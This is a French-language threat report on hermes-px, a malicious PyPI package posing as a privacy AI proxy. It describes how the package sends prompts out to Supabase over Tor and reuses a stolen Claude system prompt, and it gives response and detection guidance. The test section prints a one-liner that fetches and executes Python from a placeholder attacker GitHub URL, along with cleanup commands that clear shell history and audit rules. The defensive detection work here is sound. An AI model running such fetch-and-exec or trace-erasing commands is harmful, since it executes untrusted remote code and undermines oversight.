hermes-px : Un faux proxy de confidentialité exfiltrant des invites et modifiant le code Claude
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
JFrog Security Research a identifié un package PyPI malveillant, hermes-px, se faisant passer pour un proxy d’inférence AI axé sur la confidentialité. Au lieu de protéger les utilisateurs, il route le trafic via Tor vers un point de terminaison AI hébergé par une université non autorisée, échange ou réécrit les messages système, et exfiltre les invites et les réponses du modèle vers un backend Supabase. Le package intègre également une invite système Anthropic Claude volée et renommée, renforçant la tromperie. hermes-px est distribué via le PyPI public et est installable via les workflows pip standard, le rendant facile à intégrer dans les environnements de développeurs.
Investigation
Les chercheurs ont passé en revue le code source et ont trouvé trois couches de chiffrement utilisées pour dissimuler des chaînes sensibles, ainsi qu’une clé API Supabase en dur et un composant de télémétrie qui transmet des données directement sur Internet public. Le point de terminaison en amont déchiffré résout vers une API universitaire privée protégée par Azure WAF, indiquant un abus de l’infrastructure non destinée au proxy public. La documentation du projet incite en outre les utilisateurs à récupérer et exécuter du code supplémentaire à partir d’une URL GitHub, augmentant le risque au-delà du package lui-même. Pour se fondre dans les schémas de développement normaux, hermes-px imite l’interface du SDK Python OpenAI, réduisant les soupçons lors de l’intégration.
Atténuation
Retirez hermes-px de tous les environnements et verrouillez les sources de dépendance pour éviter la réinstallation. Faites pivoter les identifiants qui pourraient avoir été exposés dans les invites, les configurations ou les journaux, et bloquez l’accès au domaine d’exfiltration Supabase et aux autres URL malveillantes identifiées. Si Tor a été installé spécifiquement pour soutenir cet outil, retirez-le et revoyez les contrôles réseau associés. Supposons que les invites puissent contenir des données sensibles et révisez tout contenu capturé pour identifier des secrets, des jetons, ou des informations réglementées.
Réponse
Recherchez les installations de hermes-px en utilisant les inventaires de packages et les configurations de base des postes de travail des développeurs, puis déclenchez une alerte sur les connexions sortantes vers supabase.co et le point de terminaison API universitaire identifié. Mettez en quarantaine les hôtes affectés, préservez les artefacts pertinents (fichiers de package, historique de terminal, fichiers de verrouillage de dépendance), et évaluez l’exposition en déterminant quelles invites et réponses ont été transmises. Informez les utilisateurs impactés et, le cas échéant, l’institution concernée, et mettez à jour les détections pour signaler les apparences de SDK, le comportement de proxy médié par Tor et les modules de télémétrie suspects dans les packages Python.
"graph TB %% Class definitions classDef technique fill:#ffcc99 classDef tool fill:#cccccc %% Technique nodes tech_user_exec["<b>Technique</b> – <b>T1204 Exécution Par l’Utilisateur</b><br/>La victime exécute la commande malveillante (par ex., pip install hermes-px)<br/><b>Description</b>: Exécution de code malveillant en convainquant un utilisateur de l’exécuter."] class tech_user_exec technique tech_supply_chain["<b>Technique</b> – <b>T1195.002 Compromettre la Chaîne d’Approvisionnement Softwarenb </b><br/>Package PyPI malveillant publié pour détourner la chaîne de dépendance<br/><b>Description</b>: L’adversaire injecte du code malveillant dans une chaîne d’approvisionnement de logiciels."] class tech_supply_chain technique tech_python["<b>Technique</b> – <b>T1059.006 Python</b><br/>Code Python malveillant exécuté après l’installation<br/><b>Description</b>: Utilisation de l’interpréteur Python pour exécuter des commandes."] class tech_python technique tech_proxy_ext["<b>Technique</b> – <b>T1090.002 Proxy Externe</b><br/>Le trafic est routé via un nœud de sortie Tor<br/><b>Description</b>: Utilisation d’un service de proxy externe pour masquer l’origine du trafic réseau."] class tech_proxy_ext technique tech_proxy_multi["<b>Technique</b> – <b>T1090.003 Proxy À Rebond Multiple</b><br/>Plusieurs sauts Tor pour l’anonymat<br/><b>Description</b>: Enchaîner plusieurs proxies pour obscurcir davantage la source du trafic."] class tech_proxy_multi technique tech_web_proto["<b>Technique</b> – <b>T1071.001 Protocoles Web</b><br/>Requêtes HTTP à une API universitaire privée<br/><b>Description</b>: Utilisation de protocoles web pour la communication de commande et de contrôle."] class tech_web_proto technique tech_obfuscation["<b>Technique</b> – <b>T1027 Fichiers ou Informations Obfusqués</b><br/>Chaînes chiffrées décodées à l’exécution<br/><b>Description</b>: Cacher du code malveillant en utilisant le chiffrement ou l’encodage."] class tech_obfuscation technique tech_dynamic_api["<b>Technique</b> – <b>T1027.007 Résolution Dynamique d’API</b><br/>Adresses API résolues dynamiquement au moment de l’exécution<br/><b>Description</b>: Résoudre et invoquer des API à l’exécution pour éviter la détection statique."] class tech_dynamic_api technique tech_exfil["<b>Technique</b> – <b>T1567 Exfiltration Via Service Web</b><br/>Données envoyées au point de terminaison Supabase de l’attaquant<br/><b>Description</b>: Transfert de données vers des services web externes contrôlés par l’adversaire."] class tech_exfil technique tech_subvert_trust["<b>Technique</b> – <b>T1553 Subversion des Contrôles de Confiance</b><br/>Organisation factice et documentation soignée utilisées pour attirer les victimes<br/><b>Description</b>: Manipuler les relations de confiance pour faciliter le compromis."] class tech_subvert_trust technique %% Flow connections tech_user_exec –>|exécute| tech_supply_chain tech_supply_chain –>|livre| tech_python tech_python –>|utilise| tech_proxy_ext tech_proxy_ext –>|enchaîne vers| tech_proxy_multi tech_proxy_multi –>|communique via| tech_web_proto tech_web_proto –>|utilise| tech_obfuscation tech_web_proto –>|utilise| tech_dynamic_api tech_obfuscation –>|active| tech_exfil tech_dynamic_api –>|active| tech_exfil tech_python –>|active| tech_subvert_trust "
Flux d’Attaque
Détections
Possible Infiltration / Exfiltration de Données / C2 via Services / Outils Tiers (via proxy)
Voir
Possible Infiltration / Exfiltration de Données / C2 via Services / Outils Tiers (via dns)
Voir
Téléchargement de Fichiers Github Possiblement Initié Par Un Processus Inhabituel (via network_connection)
Voir
IOCs (HashSha1) à détecter : hermes-px : Le proxy AI ‘Privacy’ qui vole vos invites, contenant un système d’invite Claude modifié
Voir
Détournement de Point de Terminaison API Malveillant pour l’Inférence AI [Serveur Web]
Voir
Exécution Suspecte de Script Python depuis GitHub [Création de Processus Linux]
Voir
Simulation d’Exécution
Prérequis : Vérification Pré‑vol de Télémétrie et de Base doit être passée.
Raisonnement : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT directement refléter les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection. Des exemples abstraits ou non liés entraîneront un faux diagnostic.
-
Narrative et Commandes d’Attaque :
Un attaquant a obtenu une charge utile Python malveillante hébergée sur un dépôt GitHub public. Pour éviter l’écriture de fichiers sur le disque (réduisant les traces légales), il utilise une commande Python sur une seule ligne qui :- Appelle
urllib.request.urlopen()pour télécharger le contenu brut du script depuis GitHub. - Lit la réponse et passe les octets à
exec()pour une exécution immédiate. - Exécute la commande sur un hôte Linux compromis où l’attaquant a déjà accès à un shell à faible privilège.
Ce schéma exact (
python -c "import urllib.request; exec(urllib.request.urlopen(...).read())") correspond aux critères de chaîne de la règle de détection. - Appelle
-
Script de Test de Régression :
#!/bin/bash # # Simule une exécution Python malveillante qui devrait déclencher la règle Sigma. # MALICIOUS_URL="https://raw.githubusercontent.com/attacker/malicious/main/payload.py" python3 -c "import urllib.request, sys; exec(urllib.request.urlopen('$MALICIOUS_URL').read())"Enregistrez ce script sous
trigger_detection.sh, rendez-le exécutable (chmod +x trigger_detection.sh), et exécutez-le sur l’hôte cible. -
Commandes de Nettoyage :
# Aucun artefact persistant n'est créé, mais assurez-vous que le terminal est propre. history -c # Effacer l'historique de commande pour la session en cours sudo auditctl -D # (Optionnel) Supprimer toutes les règles d'audit à l'exécution si vous les avez ajoutées uniquement pour les tests # Si vous avez ajouté une règle persistante dans /etc/audit/rules.d/, envisagez de la supprimer : # sudo rm /etc/audit/rules.d/process_creation.rules